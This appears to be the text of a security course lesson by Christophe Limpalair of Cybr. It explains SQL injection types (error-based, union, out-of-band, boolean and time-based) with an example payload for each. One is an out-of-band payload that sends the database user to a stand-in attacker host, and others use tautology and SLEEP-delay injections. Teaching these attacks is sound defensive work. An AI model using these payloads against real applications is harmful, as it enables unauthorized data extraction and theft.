Christophe Limpalair
Co-Founder of Cybr, and Course Author
The classic SQL injection.
Attackers can launch the attack and obtain results through the same communication channel
Get information about the database, its structure, and its data from error messages
We can potentially gather a wealth of information about how an app works and how its database is structured this way
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 5
Error-based injection example
Result:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 5
Error-based injection example
Combine the results from a legitimate query with those from our attack to extract data
SELECT 'email','password' FROM Users UNION SELECT 'ProductName', 'ProductPrice' from Products;
Union-based injection example
SELECT Email,RegistrationDate FROM Users WHERE ID='159' UNION SELECT ProductName,ProductDescription from Products;
Union-based injection example
Exfiltrate data using a different channel than the request was made with
Can use HTTP, DNS
ie: Make an HTTP connection to send results to a different web server
Out-of-band injection example
SELECT * FROM Products WHERE id=346||UTL_HTTP.request('http://attacker-server-url.com/'||(SELECT user FROM DUAL)) --
Rely on a change of behavior with the database in order to re-construct information
Used when data doesn't get transferred back to the attacker
Oftentimes uses timed delays or boolean conditions
Boolean example
SELECT * FROM Products WHERE ID='346';
SELECT * FROM Products WHERE ID='346' or 1=1;
https://url.co/v1/products/346'%20or%201=1;
Time-based example
SELECT * FROM Products WHERE ID='346' waitfor delay '00:00:10';
SELECT * FROM Products WHERE ID='346'-SLEEP(10);
For MySQL, we could use SLEEP() or BENCHMARK()
The main techniques are:
By Christophe Limpalair